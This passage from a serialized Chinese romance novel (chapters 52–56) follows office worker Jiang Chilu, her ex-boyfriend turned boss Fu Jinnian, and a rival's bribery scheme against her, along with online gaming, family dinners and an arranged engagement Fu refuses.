暗沉沉的光线其实看不清楚手里的东西,大概是跟她有关的东西都莫名的清晰,不用看清楚,心里就清楚了。
他缓步走到餐椅旁坐下,手上的酥饼放在桌上,倒了一杯水一口气灌下去。
想到今天中午那顿饭,他承认自己内心阴暗又龌龊的想法。
他就是故意在他们下班的时间乘电梯下去。
让她‘巧合’的看到苏轻跟他一起进了电梯。
确实,大家都在传他和苏轻的关系。
可是一天下来,江迟鹿连一丝在意的目光都没有落下。
就好像.......她真的一点也不在意这件事。
根本不在意他和谁吃饭,又要和谁结婚。
指腹滑动在手机上,他点进助理发来的消息。
是一份资料,江迟鹿的家庭资料。
从助理发过来到现在,他还没有打开过。
也不想打开。
只是一时生气所以叫人去调查了她的家里人,想从她的家里人入手查到她的男朋友。
但是现在冷静下来,清楚的明白自己在做什么之后。
又被自己的行为恶心到。
手机屏幕自动息屏,他吐出一口气,沉默了许久。
最后点进去给助理发了一条消息。
-不用查了。
周衍说的也是,他和江迟鹿已经是过去式了,没必要这么执着吧。
更何况,她连心动都没有。
.......
“你真的答应跟我朋友见面了?”
傅氏集团大厦下,傅今棠刚从车上下来,门口的泊车员接过她的车钥匙。
她嘴上洋溢着笑容,换了一只手接电话道,“你怎么突然想通了?行,那你什么时候有空?我安排一下,等等,你不会又是耍我放鸽子吧?”
“下周。”对面简短的说了两个字。
傅今棠感觉他的语气不像是在耍人。
“行,我问问她,你要是这次还敢耍我,我真的会跟爷爷告状,你别以为我好欺负!爷爷对我还是很好的!”
“我不信你上次就没告状。”
“你......”
对面已经挂断。
傅今棠从手机翻出江迟鹿的号码拨通。
“小鹿鹿呀,你什么时候放假啊。”
“你又有什么阴谋鬼计?”
“我在你心里这么可耻吗,你上次放我鸽子的事,我都没跟你计较,上次没吃成,当然就不算,你看你什么时候有时间。”
另一头,江迟鹿忙得不可开交,头和肩膀夹着手机,两只手在翻找资料,“最近都没时间,我们老板有个新idea,全组都在跟进,我吃饭都紧着时间恨不得来一剂营养水打进脖子。”
说话间,组长走到江迟鹿身边,又丢给她一叠资料,“这些都要整理出来,下午前要。”
江迟鹿双目呆滞地看着那一打资料,心头沉沉,对着电话说,“拜,忙完打给你。”
旁边,小麦手搭在她肩膀上,“想想工资,想想三倍加班费,想想奖金。”
这三样东西犹如灵液,一股力量渗入她的身体,“等发工资了我要好好奖励自己。”
刚把自己哄好,部长摸着自己的秃头不知何时走了过来,看着她,“你跟我来一下。”
两人走到茶水厅,江迟鹿不明所以,“部长,您有什么事?”
部长摆了摆手,嘴上笑着,“小江,从你一进公司,我就看好你,以你的能力.......”
他左右顾了一下,低头过去,“最近是不是很累,我叫人给你分担一下。”
江迟鹿一听,心里只有一句话——完了。
这个部长最会审时度势了,突然对她这么好,绝对是看出了她和傅靳年有什么。
现在她是得了好处,但要是以后他发现了真相,自己恐怕就要从受益者变成受害者了。
“不累,我自己来就好.......”
部长亲自给她做了一杯咖啡递过去,“觉得累了不要硬撑。”
“谢谢部长关心。”她面上是从容的微笑,接过那杯咖啡点点头出去。
苏轻回到自己的工位,旁边的同事有些意外,“你不是去弄咖啡了吗,怎么空手回来了。”
“我突然不想喝了。”她垂下眼,眸色沉沉。
透过玻璃,刚刚看到了部长给江迟鹿亲自做咖啡。
作为平时被部长善待的人,她很清楚那位部长绝对不是为人和善,一定是知道了江迟鹿和傅靳年有关系才那样做。
“滴滴”两声。
傅靳年目光依旧看着文件,指间的钢笔泛着黑色的冷光,他放下钢笔拿起座机,里面传来助理的声音,“苏轻说有事想见你。”
他目光依旧没动一下,声音平淡,“没空。”
助理看向面前的人,摇了摇头。
苏轻垂下眉眼,“我知道了。”
她刚转身,和前来汇报进度的小麦对上,脸上扬起一个笑容,“记得中午一起吃饭。”
小麦顿了一下,笑了笑,“好。”
她垂下眼,有些不解,苏轻在这里突然说这么一句是做什么。
苏轻没有立即离开,她看到小麦只是敲门就能轻松进去,心里一顿烦闷。
连随便一个小员工都能见他,她却不行。
她真不明白江迟鹿到底哪里值得。
不能再这样下去了,必须把她赶出公司,让她离他远远的。
第五十二章 是我,傅靳年
小麦离开后,助理敲门进去。
“刚刚苏轻在外面说了一句话。”
男人手上签署动作一顿,抬眼看去。
助理便将苏轻对小麦说的话一字不差道了出来。
他说完,抬眼看办公桌后的男人,见他指骨压了压眉心,轻微的皱了一下眉。
“需要去调查一下吗?”他询问。
只见男人摇了摇头,没有说话。
他便点头出了办公室。
门关上,傅靳年拿出手机,指间动了动,指腹压在屏幕上,看着江迟鹿的头像。
他记得小麦跟她是一个宿舍的。
指腹点了进去,想了想,在文档里翻找了一圈,把其中一个关于新idea的文档发了过去。
江迟鹿很快就回复了。
-傅总,这个是?
-点开看。
另一边,江迟鹿按了按太阳穴,想把电脑抬起来摔了。
他有什么要对接找对接人行吗,来为难自己这么个小员工。
点进去看完。
她继续回复:
-傅总,这个您可以直接发给祁组长的。
-那你帮我转发吧。
江迟鹿:“.......”
-对了,黎麦是你室友吧?
-是,怎么了?
-她中午要和苏轻吃饭。
江迟鹿还盯着这条消息发呆。
下一条消息很快就发了过来。
-没事别找我,我很忙。
江迟鹿:“?”
她有些懵逼,这是什么意思,自己找的他吗,明明就是他找的自己好不好。
但是......他这是在提醒自己吗。
“迟鹿,怎么办啊,马上就中午了,我要跟苏轻去吃饭了。”小麦摸着自己跳动的心跳。
凑到江迟鹿耳边,“你手机保持通讯,我会随时联系你的。”
“嗯。”
江迟鹿很快就把这些抛之脑后,反正怎么想也没用,还是工作最有用。
她把文档转发给祁柏言后,祁柏言就邀请她中午一起吃饭。
两人在食堂会面,祁柏言看着她,“傅总怎么会让你把文档转发给我。”
这确实很怪异,傅靳年又不是没有和祁柏言的联系方式,完全可以自己发给祁柏言。
江迟鹿抬眼,“可能是想发作一下自己的老板威风。”
祁柏言盯着她,嘴角勾起来一抹笑容,“是吗。”
江迟鹿点点头,喝了一口海鲜汤,“嗯,今天的海鲜汤还不错。”
他轻笑了一声,“不过我看他不像是那种会无理取闹的老板。”
“呵呵,那你对他的滤镜未免太大了。”
祁柏言挑眉,“难道他只对你无理取闹?”
这话过于暧昧了,江迟鹿抬头,“可放过我吧。”
她没吃多少,起身,“我吃好了,你慢用。”
祁柏言:“对了,马上是阿姨的生日了,你准备好礼物没。”
江迟鹿顿住,“天呢,完全忘记了,我看你比我更像亲生的,我该送什么啊。”
他笑了笑,“有空的话我陪你去商场逛一逛?我也还没有想好送阿姨什么呢。”
江迟鹿看了一眼手机,小麦没有给她发消息。
她关掉手机摇了摇头,“你就是带一袋子空气回去,我妈也是笑盈盈的,唉,父母除了对自己的孩子,对别人家的孩子都是天使。”
祁柏言起身,“走吧,一起,我也没什么胃口。”
旁边,隔了一道柱子,傅靳年捏着筷子正在戳米粒。
他心情烦闷,“食堂一直这么吵吗?”
已经是离旁边最近的位置了,但是食堂里一直嗡嗡嗡的,他什么也没听到。
“毕竟大家好不容易有空闲,聊聊天也在情理之中。”助理说。
助理舔了舔唇瓣,瞥眼看过去,“傅总,您怎么突然想到来员工食堂吃饭了。”
傅靳年手中动作停下,“看一下大家吃的怎么样,吃好才能工作好。”
真是好老板啊。
他点了点头,“那您......怎么一口也不吃啊?”
傅靳年看过去,“你一直盯着我看?你怎么知道我一口没吃。”
助理摸了摸鼻子,“因为.....您一直在戳米粒。”
他手上动作一顿,放下筷子,用勺子挖了一口饭,“帮我联系祁组长,让他来我办公室一趟,我有话要和他说。”
“可是现在是休息时间。”助理提醒。
傅靳年:“那就让他下午上班时间来。”
“可是.....你下午时间很紧,两点有会议。”
傅靳年:“......”
他直接起身,“帮我收拾一下餐盘。”
转身就出去了。
助理盯着他走向祁柏言,摇了摇头。
“祁组长。”
身后突然传来的声音,让江迟鹿停了下来。
祁柏言眸子垂下,嘴角勾起微笑,才回头看过去,“傅总。”
“有些事和你商讨,有时间吗?”傅靳年开口。
江迟鹿眼神都没往傅靳年那边看一下,垂着眉眼,点头,“你们聊。”
“好。”祁柏言看着傅靳年点头。
两人一起进电梯上了天台。
外面虽然有太阳,却是冷的,阵阵冷风吹来,显得傅靳年声音都空旷几分。
“祁组长,有件事情想拜托你。”
祁柏言手撑着围栏,点头,“怎么说我和傅总也是宿醉过的交情,有什么事情直接说就好。”
“帮我多注意一下黎麦。”
祁柏言顿住,“她怎么了?”
“你多注意点就好了,谢谢你。”他看着楼下人来人往,小黑点似的在斑马线上移动,心里烦躁。
要是黎麦真的因为苏轻做出什么,不利于的也是公司项目,耽误他的进展。
所以这也不算是帮江迟鹿。
祁柏言看向他的目光带着深意,点了点头,“好。”
......
“终于忙完那一阵子了,连续一周的加班,我的天呢,六点准时下班现在对我来说跟放假一样让人开心。”小麦顶着黑眼圈说。
她看向江迟鹿,拿上包,“走吧,出去吃一顿好的!”
江迟鹿急匆匆收拾好东西,“抱歉,我要回宿舍了。”
“你这么着急做什么?”
“我约好了朋友打游戏,好不容易空闲。我外卖都提前点好了,今天都不用叫我了,下次请你吃饭。”
她飞一样的速度进了电梯。
小麦没想到她还有这样一幕,“谁约的你啊?不会是男朋友吧。”
只可惜那边没听到。
江迟鹿一出电梯,那边电话就打了过来,“我马上就到家了,再等等我。”
“我可等你一周了!”
“马上马上,真的。”
接着电话往前急走,一不小心就撞上一堵肉墙。
“对不起对不起。”她抬起头,对上傅靳年那张面无表情的帅脸,还愣了一下,“傅总。”
傅靳年盯着她,“你这么着急做什么。”
她扯着脸笑了笑,收着手机塞进大衣口袋,“这不是好不容易能放一天假,我跟朋友约了今晚打游戏。”
傅靳年的目光一顿,扫了一眼她的手机,“你还喜欢打游戏啊。”
江迟鹿抿着唇,垂了下头,“偶尔打,那我先走了,傅总再见。”
傅靳年看着她的背影,拿出手机,从通讯录里翻找出一个很久没有联系过的号码。
“喂,是我,傅靳年。”
第五十三章 会不会丢了筷子就走。
江迟鹿一路上还在担心被齐佑筠催,没想到他居然一句话也没有发来了。
明明以前这种时候都会用表情包疯狂轰炸。
齐佑筠就是当初和傅靳年一个宿舍的室友。
她也没想到自己和傅靳年都分开了跟他还能玩到一块。
当初接近齐佑筠就是为了傅靳年。
因为傅靳年本人不好下手,于是她又是给齐佑筠帮忙干社团的活,又是请他喝奶茶吃烧烤,一来二去就熟悉了。
傅靳年出国后,两人依旧保持着联系。
不过平时很少发消息,一般是空闲时想打游戏发一句上号。
一到家门口,看到门口已经放着自己点好的外卖,她拿起外卖开门进去,给齐佑筠发消息。
-我到家了。
把外卖拆开,放在桌上,拿起手机打开了游戏。
一声提米响起,瞬间感觉身体也不疲惫了,胃也不饿了。
齐佑筠已经开好了房间,除了他平时的一个游戏搭子,今天还多了一个人。
那个id她记得,是齐佑筠的小号。
“这是我朋友,他用我的小号打。”
“哦,你好。”
对面没声音。
齐佑筠解释:“啊他不喜欢开麦,他是辣条音,很自卑自己的声音。”
另一个游戏搭子笑出了声,“年纪很小吗?”
齐佑筠应了一声,“对,他还在上小学,这不今天放假吗。”
江迟鹿:“你居然还有小学的朋友,我都不知道。”
“我也才认识不久,别看他是小学生,很厉害的。”
“那开始吧,他玩什么啊。”
江迟鹿照旧玩自己的辅助,她就是人们常骂的又菜又爱玩,能上王者全靠齐佑筠带。
曾经还向齐佑筠发过誓,这辈子都不会离开他了,因为离开了他自己就上不了王者。
“他打野玩的好。”
齐佑筠玩的射手,另一个游戏搭子玩的法师,又匹配了一个人。
游戏一开始,江迟鹿跟着齐佑筠,两人开着麦,还在聊天。
“累死了,最近忙到我手机三天才充一次电。”江迟鹿喝了一口奶茶,嚼着珍珠。
齐佑筠:“这么夸张啊。”
“是啊。”
另一个游戏搭子是个男的,id是夜风,和他们也认识快一年了,知道彼此大概的工作专业,“我最近也忙,不过偶尔还是能上线一下。”
“我下了班都第二天了,忙到根本想不起来干其他的。”江迟鹿说。
夜风开口:“那今天晚上打通宵?你们明天都放假是吧?”
江迟鹿:“通宵不行,我和朋友约好了逛商场。”
夜风笑了一声,“你不是说不喜欢逛商场吗,想买的东西都只能看不能买。”
“是我妈生日快到了,我得去选礼物啊。”
“哦,帮我跟阿姨说声生日快乐。”
“嗯哼。”
江迟鹿玩的一个可以附身到队友身上的角色,她跳到齐佑筠身上,抽空给他发消息。
-小学生都这么沉默的吗?我以为会是那种叽叽喳喳的类型。
-哈哈他比较早熟。
江迟鹿看着这句话沉默。
早熟的孩子势必受过伤害。
她清了清嗓子,“我们的小打野好厉害,经济已经领先对面很多了。”
“噗——”
傅靳年一口水喷出去,握着手机歪了一下,差点被人打死。
齐佑筠的笑声也传了出来。
江迟鹿还不知道齐佑筠在笑什么,看打野被包围了,便过去支援。
结果等她到了,对面已经把三个人连杀了,只留下四具尸体,其中一具是旁边无辜牵连的猪猪仔。
“好厉害啊小朋友!感觉你以后都可以去打职业了,棒棒!”
齐佑筠捂着肚子笑,“棒棒!”
夜风和江迟鹿一样,不知道齐佑筠在笑什么,但是还是跟着江迟鹿说了一句,“棒棒。”
齐佑筠的小号在频道发了六个小点点。
江迟鹿开口:“对我们无语了吗,是嫌弃我们技术太差吗。”
齐佑筠忍着笑开口:“可能是还不熟练打字。”
江迟鹿顿时想到对面还是个打字都费劲的小孩,顿时涌起佩服。
一直打到凌晨两点。
齐佑筠的小号忍不住了,打字:你们都不睡觉的吗。
另外三个入迷的人才反应过来。
居然两点了?
江迟鹿想着第二天还有事,自己还要洗漱,还要把吃完的窑鸡骨头残局给收拾了。
“那我先下了,哦对了,小朋友你有没有微信,我们加个好友吧?以后一起玩呀。”
江迟鹿是不会放弃攀附这个小大佬的机会的。
就这一晚上的时间,她看出来这是个比齐佑筠玩的还厉害的小孩。
齐佑筠的小号:等会儿让齐佑筠给你。
齐佑筠又开始笑了,“小孩,能不能礼貌点,叫哥哥。”
江迟鹿开口:“你在这装什么装,小朋友,别理他。”
江迟鹿退出后就开始收拾自己桌子上的奶茶杯......
等收拾完桌面,洗漱好躺在床上,她一只手给自己抹身体乳,一只手拿着手机看。
看到齐佑筠给自己推过来的微信名片,点进去添加好友,顺便点进朋友圈。
是一片空白。
“这小孩哥是屏蔽我了还是不发朋友圈啊,这么高冷的小孩吗。”
对面居然也没睡,很快就同意了她的好友申请。
江迟鹿对这个厉害的小孩哥很友好。
-你早点睡吧,小孩子熬夜会长不高的哦。
发完这条,又发了一个晚安的表情包过去。
对面:
-我已经很高了。
江迟鹿噗嗤一声笑出来,“小学生能有多高?”
“男孩子要长到一米八才好找女朋友,你现在多高啊?”
她语音发过去。
对面发的文字。
-我一米八八。
她又忍不住笑了,“行,我也一米八八,你打字不习惯的话可以直接给我发语音。”
她还挺想听听小孩哥的辣条音的,感觉会萌萌的。
-我打字很快的!
江迟鹿又被逗笑,“现在语音转文字的确很快,晚安。”
对面先是发了六个黑色小点过来,接着又发了晚安。
江迟鹿躺在床上,想到明天的时间安排得还挺满的。
上午和祁柏言挑生日礼物,中午一起吃饭。
晚上早在一周前就和傅今棠约好了跟傅靳年一起吃饭。
也不知道他发现傅今棠一直要介绍的朋友是自己后会不会丢了筷子就走。
第五十四章 是因为她喜欢你。
第二天上午,写字楼里依旧有其他部门的人没有放假在加班。
只有研发部是空无一人。
直到一个穿着粉色大衣外套的身影进去。
......
暖洋洋的光照进卧室,给床上躺着的人镀了一层光,她无意识的懒洋洋的打了个哈欠,眼皮一动,倏地从床上弹跳起来。
慌张摸过手机一看。
“完蛋了,约定的九点半啊,怎么就十点了。”
她解锁手机,闹钟是响过的,只是没有叫醒她。
而祁柏言也只是在九点半的时候发来了两条消息。
-醒了吗?
-昨晚不会又熬夜打游戏了吧?我在你宿舍楼下,醒了给我打电话。
她一边从床上跳下去,一边打电话过去。
“抱歉,我真是罪该万死,闹钟居然没叫醒我你敢信?久等了久等了,给我五分钟我马上下来。”
“不着急,我在车里看了会儿资料,你慢慢来,不过也不要太慢,争取今天上午把礼物选好了,你下午好好玩,好不容易放一天假。”
“我真的很快的,三分钟就能撸个淡妆。”
五分钟后,她到了祁柏言的车前。
“看吧,我是不是很快。”她歪头笑了一下。
祁柏言靠在车旁,一身白色休闲衬衫,栗棕色的裤子,整个人温雅又贵气。
“嗯,很厉害。”他笑着摇了摇头,给她开了副驾驶的车门,等她进去,再关好车门绕到驾驶座。
“早餐。”他递过去早餐袋,“你喜欢的。”
江迟鹿惊讶地接过来,“你不会七点就去了吧?这个去晚半个小时就没了。”
他笑着看向她,“托你的福气,我已经跟面包店的老板混熟了,我昨晚叫她帮我留了一份。”
“佩服你的社交能力,虽然我在正常人中也算社交能力强的,但比起你真是差远了。”
黑车驶去京市最大的商城,中间路过启恒大楼,江迟鹿的目光也正好扫向窗外。
一切如常,还是有人进出......
一道熟悉的身影吸引了江迟鹿的注意力。
粉色的大衣,头发到腰部,是苏轻。
“她今天怎么会来公司......”
“谁?”祁柏言看向江迟鹿。
江迟鹿开口道:“苏轻,她今天不是也放假吗,怎么会来公司。”
“不是说她是傅总的联姻对象吗,可能来找傅总的?”
江迟鹿嘀咕,“他居然不给自己放假吗。”
“傅总对自己很严格呢。”
江迟鹿点点头,轻哼,“他是老板,赚的钱都进他口袋了,当然喜欢工作了。”
到了商场,两人先去了香水区,江迟鹿一个一个挨个的试香。
祁柏言在旁边,看着手机。
因为上次傅靳年让他多注意小麦,祁柏言就加上了小麦的好友。
他看向江迟鹿,“你跟小麦的关系怎么样。”
江迟鹿笑了笑,“朋友加室友加同事,你问这个做什么。”
“她跟苏轻.....”
江迟鹿放下手中的试香片,抬眼看过去,回道,“我知道。”
那天小麦和苏轻吃完饭回来后神情就一直凝重。
祁柏言摇了摇头,“看来苏轻是给了很大的好处,你别伤心。”
江迟鹿笑的依旧灿烂,“我没有伤心啊。”
她拿起香水片递过去,“你觉得这个怎么样,感觉是我妈会喜欢的。”
“嗯,不错,你确定送香水了?那我就送阿姨衣服?这样她跟那些朋友打牌又能开心炫耀了。”
江迟鹿笑了一声,“每次你顶着你这清正不阿的气质说出这种话,我都觉得不可思议,因为你像是那种会唾弃我妈爱到处炫耀的人。”
“阿姨很可爱啊。”他笑道。
......
中式宅院坐落于静谧一处,青瓦覆顶,飞檐翘角,迈入大门,是青石铺就的庭院,夹道栽着古松和玉兰。
空气里浮着淡淡的檀香与旧木的醇厚。
傅靳年到主厅时,傅老爷子正逗着笼中一只鹦鹉。
看到他来了,笑着叫佣人把那只鹦鹉领了下去,“居然还有你主动来找我的时候,真是稀罕。”
他将手上一份牛皮纸的文件袋递过去,“我不能跟苏轻订婚。”
傅老爷子面色不变,接过了文件袋,没有率先打开文件袋,而是看向他:
“你先告诉我真正的原因,到底是因为她做错了事,还是你心里已经有了人选。”
空气一下子凝重起来,他敛下眼睑,“是,就算她没做错,我也不会和她订婚。”
“当初你被送出国,我不知道你跟你爸爸达成了什么协议,但是我隐隐能猜到,你......”他的声音显得有些苍老,开口道:
“是为了别人出的国是吧?”
他眸子抬了抬,对视后点头,“算是......”
“哼,什么算是,是就是,不是就不是。”他慢慢打开文件袋,“那个人是谁,能告诉我吗?”
“没必要,我跟她已经没有任何关系了。”
“你现在的样子可不像是和她没关系。”
“我拒绝和苏轻订婚的事情和她没有关系,只是单纯我不喜欢。”他嗓音低沉果断。
老爷子笑了笑,“这事我们当初也聊过,傅家用不着孩子去联姻,但是必须结婚,你要是有喜欢的,那就赶紧带回来。”
“我没想过必须要娶我喜欢的,但至少对方得是个正常的人吧?”
老爷子手里那份资料也打开了。
里面关于苏轻所做的事情都一一陈列了出来。
“一开始我应你的要求帮忙瞒下来的她下药一事,即便有我的警告,她依旧没有消停,收买公司员工,在迎新会上做局,现在还想收买黎麦损害公司利益陷害同事,另外,她安排私家密探跟踪我,难道要我跟这样一个人结婚?”
“.......”
老爷子盘算那一件两件的事,叹气摇了摇头,“如果是别人,做出第一件事的时候我就会彻底将她排除在外了,你知道我为什么还会让你考虑她吗?”
“你喜欢她。”
“噗——”刚进来的傅今棠听出这句话忍不住笑出了声。
老爷子瞪了一眼,“你这说的是什么话!”
“因为您当初说可以不考虑家世,所以除了你喜欢我也想不到其他原因了。”
傅今棠轻哼,“我也是这么想的,不然为什么非得是苏轻,我一想到我讨厌的人要嫁进来给我当嫂子,我心里都要烦死了。”
“不是我喜欢她,是因为她喜欢你。”老爷子说。
傅靳年和傅今棠同时抬眼。
第五十五章 傅总看你的眼神不一样
傅老爷子叹气,“如果你的妻子是她,至少,你的枕边人是一心一意向着你的,她做出那些事,也都是因为太过喜欢你,而你又对人家不问不睬的。”
傅今棠两手抵着自己的太阳穴,“她的喜欢也太恐怖了吧,就是我也受不了。”
傅老爷子看向傅靳年,“你是不是想不起来了,你们小时候经常一起玩的。”
傅今棠在旁边冷笑,“什么经常一起玩,我记得清清楚楚,小时候就是她一直缠着哥,我哥根本不和她玩。”
“但是后面她救了你哥!这是一份天大的恩情。”傅老爷子看着傅今棠,“你别在这里起哄,我知道你心里什么盘算。”
傅今棠扁扁嘴做了一个鬼脸,“什么起哄,我说的也是实话,就算救了他,是天大的恩情又怎么样,就她现在做的这些蠢事,我哥一次都没有跟她计较过,那些恩情早就抵消了,难不成这个年代还要以身相许吗。”
“靳年,如果你真的这么不喜欢她,那就把你心里的那个人带回来。”傅老爷子看着他。
傅今棠嗑瓜子看热闹,“什么心里的人,你心里还有人?”
老爷子哼了一声,“如果不是心里还有人,他现在已经跟苏轻订婚了,说的再多,也不过是因为自己心里还有人而已。”
“谁啊?”傅今棠双眼发光。
她早就对傅靳年的前女友好奇了,可惜让周衍帮忙打听,他也没打听出来,让他一块地皮都不能打听出来,肯定是傅靳年无论如何都不告诉周衍。
“没有。”傅靳年依旧是那句话,“没有喜欢的人,心里更没有人。”
“那就好,晚上记得按时到,我介绍我朋友给你。”傅今棠笑眯眯的。
“我先走了。”傅靳年转身出去,身形单薄,看起来竟有些寂寥。
傅今棠跟上去,“哥,你跟我说说你那个前女友呗?”
“......”
傅靳年步伐很快,一点没给傅今棠追上的机会。
傅今棠在后面高声喊:“你以为我查不出来吗?我的人脉可不是吹的,你主动告诉我,我是给你机会!”
“那你就动用你的人脉。”
他当初没有公开和江迟鹿谈恋爱就是想着,如果有他回到傅家这一天。
他不想她被牵连进来。
当初两人谈恋爱,就连齐佑筠都不知道。
傅今棠再有手段调查,也不会查出他的前女友是江迟鹿的。
除非江迟鹿主动跟她说。
但两人又不认识,江迟鹿怎么可能会主动跟她说。
“哼。”傅今棠盯着对方远行的背影,摸着胸口给自己顺气。
她现在已经不是简单的想挖出他的前女友是谁了。
而是势必要让他知道自己的人脉是很强的!
就算现在没法知道,等江迟鹿当她嫂子了,她也能知道!
......
江迟鹿提着给小麦买的椒麻鸡回到宿舍。
小麦也是熬夜大户,都中午了,进门时她才刚起床,人还没洗漱,坐在客厅的沙发玩手机醒神。
“终于回来了,饿死我了。”
她恶鬼似得扑了上去,“好香啊。”
小麦深吸了一口气,看向江迟鹿,“不愧是我放弃了巨大诱惑选择的女人。”
江迟鹿笑了笑,“我的一顿椒麻鸡这么厉害吗?”
时间回到小麦和苏轻一起吃完饭的那个晚上。
她虽然察觉出小麦的情绪不太对劲。
但也没有多管,心里隐隐有了想法,便按部就班地自己洗漱上床。
在她拿着手机躺在床上时,小麦敲响了她的房门。
探出了一个脑袋来。
“迟鹿......虽然我今天床单是干净的,但是我还想和你睡,嘿嘿可以吗?”
她有些呆愣地点头,拉开自己的被子。
小麦抱着枕头滑着小碎步,“我有话和你说。”
江迟鹿点头,“嗯。”
“是苏轻的事情。”她吐出一口气,直截了当,“苏轻今天约我吃饭,她答应给我五十万。”
江迟鹿猜了大概,但也没想过会给这么多钱,要是苏轻来找自己给这五十万,再帮她解决了合同的事情,她都能拿钱远走了。
“你.......”江迟鹿看着她,“拒绝了?”
“我同意了。”小麦深吸一口气,“这诱惑太大了,但是.....”
小麦话头一转,“她给了我钱,我们又没有签合同,她让我帮她做的还是坏事,我不做又怎么样?她总不能跑去警察局说我买通了一个人帮我做坏事,但是她没做吧。”
小麦抱着枕头笑,“我还以为这种事情只能在电视剧里看到,你说里面的人傻不傻,钱都到手了,还干事做什么。”
“万一她欺负你......”
“所以我还把这件事告诉傅总了,傅总说他会解决的。”
“他......要怎么解决?”
“这个我就不知道了,不过既然没有第一时间开除,肯定还是在意苏轻背后的关系吧。”
小麦把枕头放在了她的旁边,躺上去抱住她,“安心睡吧。”
......
“迟鹿,其实那天我还录音了,要是她敢找我麻烦,我就用录音威胁她。”小麦拿过她手里的椒麻鸡,开始拆包装盒。
“黎麦,你小时候玩狼人杀是不是就没输过?你连这个都想到了。”
小麦轻哼了一声,“不过,我当然是还有其他的考虑。”
江迟鹿疑惑:“你还有什么考虑?”
“就是你啊,她让我陷害你,你应该能猜到是为了什么,是为了傅总啊,但是我感觉傅总看她的眼神很冷漠,但是看你的不一样,我赌你以后是老板娘,我当然不能惹老板娘嘿嘿。”
“噗——咳咳。”江迟鹿被自己口水呛到。
她拿过杯子倒了半杯水,喝了一口压惊,“那你真的赌错了,苏轻没有立马被开除,这件事足以说明她对傅总的不同了,而且,你眼睛怎么看的,还能看出这种东西,我怎么感觉傅靳年每次看我的眼神跟能杀了我一样。”
“你可不要小看我追偶像剧十几年的老资历。”
小麦咽下口里的椒麻鸡,嗦了下指尖,“而且,我不止看出傅总看你的眼神不一样,我还看出祁组长看你的眼神也不一样。”
江迟鹿身上鸡皮疙瘩都起来了,“你......是神仙来的吧。”
“不止祁组长。”
江迟鹿啊了一声,“还有谁?”
“嗯......还有老秃头部长,额,他看你的眼神也很不一样,不过不是那种想潜规则你的眼神,看起来更像是.....看你脸色行事?你不会是有什么隐藏身份吧?”
江迟鹿呆在那里,没有想过这都能被看出来。
“下午你有什么安排?”小麦问。
“嗯......先跟我妈视频,然后是打游戏,收拾一下出去吃晚饭。”
“你晚饭又约好了?你怎么行程安排的这么满。”
江迟鹿无奈,“不是我行程这么满,是因为牛马人休闲时间本来就不多才显得我行程满。”
第五十六章 老师好歹帮你养了这么久的猫呢。
这次上线,小孩哥依旧在。
江迟鹿开麦:“小朋友,我给他们都点了奶茶,但是不知道你地址,你给我一个地址吧?对了,你没有自己的号吗?你打得这么好,怎么不用自己的号。”
齐佑筠解释:“他的号有未成年限制,而且怕被他爸妈发现,所以就用我小号。”
江迟鹿顿感压力:“小孩,你是背着你爸妈打啊?虽然不想说教,但是跟该学习的学生打游戏我心里还真有压力。”
齐佑筠的小号:我成绩很好,不用担心。
齐佑筠立即附和,“是的,他是年纪第一。”
“哇,很厉害呢,姐姐我以前也是年纪第一呢。”江迟鹿又开始吹嘘自己曾经的光辉历史,“中考还是我们市第一,本来可以去最好的高中京一中的。”
听到京一中三个字,男人眼睫颤了颤。
齐佑筠的小号:那你怎么没去。
江迟鹿的声音有些弱了,“嗯......老天跟我开了个玩笑,哈哈没事,我在其他学校也混得风生水起,不是非得京一中才能出人才。”
她又开口:“不过能去京一中还是去京一中,那里的教育资源毕竟是顶尖的。”
齐佑筠的小号:京一中有什么你很喜欢的吗?你好像对京一中很特别。
江迟鹿想了想,“也没有,就是因为它是国内最好的高中啊,我这人慕强,因为它排名top1,所以就是我梦校。”
齐佑筠:“那你当初追某人不会也是因为他最厉害吧。”
江迟鹿沉默了一会儿,“是啊。”
齐佑筠的小号:那他现在不厉害了吗?
江迟鹿看着这句话愣了。
更厉害了,望之却步的程度。
曾经因为同在京大,她还以为两人是一个世界的人。
可惜了。
书房里,身材高大健硕的男人懒散地坐在电脑前,回复了一半的邮箱搁浅在那,屏幕的光线映在男人脸上,一双黑眸低垂着,虽是盯着手机上,心思却难言。
麦里一时也没了声音,眼前浮现出她站在自己面前说明年京一中见时的肆扬明媚,如最烈的太阳深入人心。
手机上方弹出了齐佑筠的消息。
-要不我帮你问问。
傅靳年回复:
-不用。
齐佑筠:
-你装什么啊,你又是给我打电话,又是故意用我小号跟她玩游戏还不让她知道是你,不就是喜欢人家吗。
傅靳年没有回复了。
他退出了游戏。
江迟鹿有些奇怪:“小孩怎么退出了。”
齐佑筠解释:“可能是他爸妈叫他了吧。”
江迟鹿:“真不敢相信,小学生打的这么厉害,我们在场的居然没有一个人比得过小学生吗。”
齐佑筠切了一声,“别小看小学生好吗。”
江迟鹿摇摇头,“我以后再也不小看小学生了。”
下午六点。
江迟鹿先在酒店和傅今棠碰面。
“你怎么穿这么休闲就来了?”傅今棠看着她身上那一套。
白色细条纹衬衫打底,浅灰色的针织马甲,外面一件深灰毛呢大衣,版型宽松慵懒,下身是牛仔裤和白鞋。
普通的不能再普通的穿搭,只是穿在她身上变得高级又松弛。
最主要的还是脸。
“果然,时尚的完成度靠脸。”
“走。”她拉着江迟鹿进去。
两人坐在包间里,江迟鹿有点饿了,正在吃小点心。
傅今棠拿着手机发消息,一边嘀咕,“怎么还不来,难道就不能提前一点吗。”
江迟鹿喝了一口果汁,看向她:“你会后悔的。”
傅今棠抬眼:“什么后悔?你是说你之前得罪傅靳年的事情?我跟你说,他可能都不记得你了。所以你完全不用担心。”
-你到哪了?
傅今棠刚发去消息,手机进了一个电话。
她眉眼不自觉染了笑,“何婷老师居然给我打电话了,好久没跟她聊天了。”
一听到何婷老师江迟鹿的注意力也被吸引了去,两人不约而同地笑了起来。
何婷老师是她们的大学辅导员,为人特别好,三人相处的跟朋友一样,有时候还会聚一聚。
江迟鹿耳朵凑了过去,“何婷老师。”
手机对面却并不是何婷老师的声音。
一道陌生的女音传来,两人听清楚后眉毛一皱,神色凝重。
......
富丽堂皇的酒店门口,泊车员接过男人抛来的车钥匙,看着停着的迈巴赫,小心地拉开车门。
门口有专门的人接待,傅靳年报出包间号后,那位专人带着他进去。
推开门后,里面却空无一人。
可以看到桌上吃了一半的餐前点心,还有两杯动过的果汁。
他眉心蹙了蹙,开口问:“里面的人呢。”
服侍生也一脸茫然,“不知道......”
傅靳年站在原地,拿起手机发消息。
-你人呢?
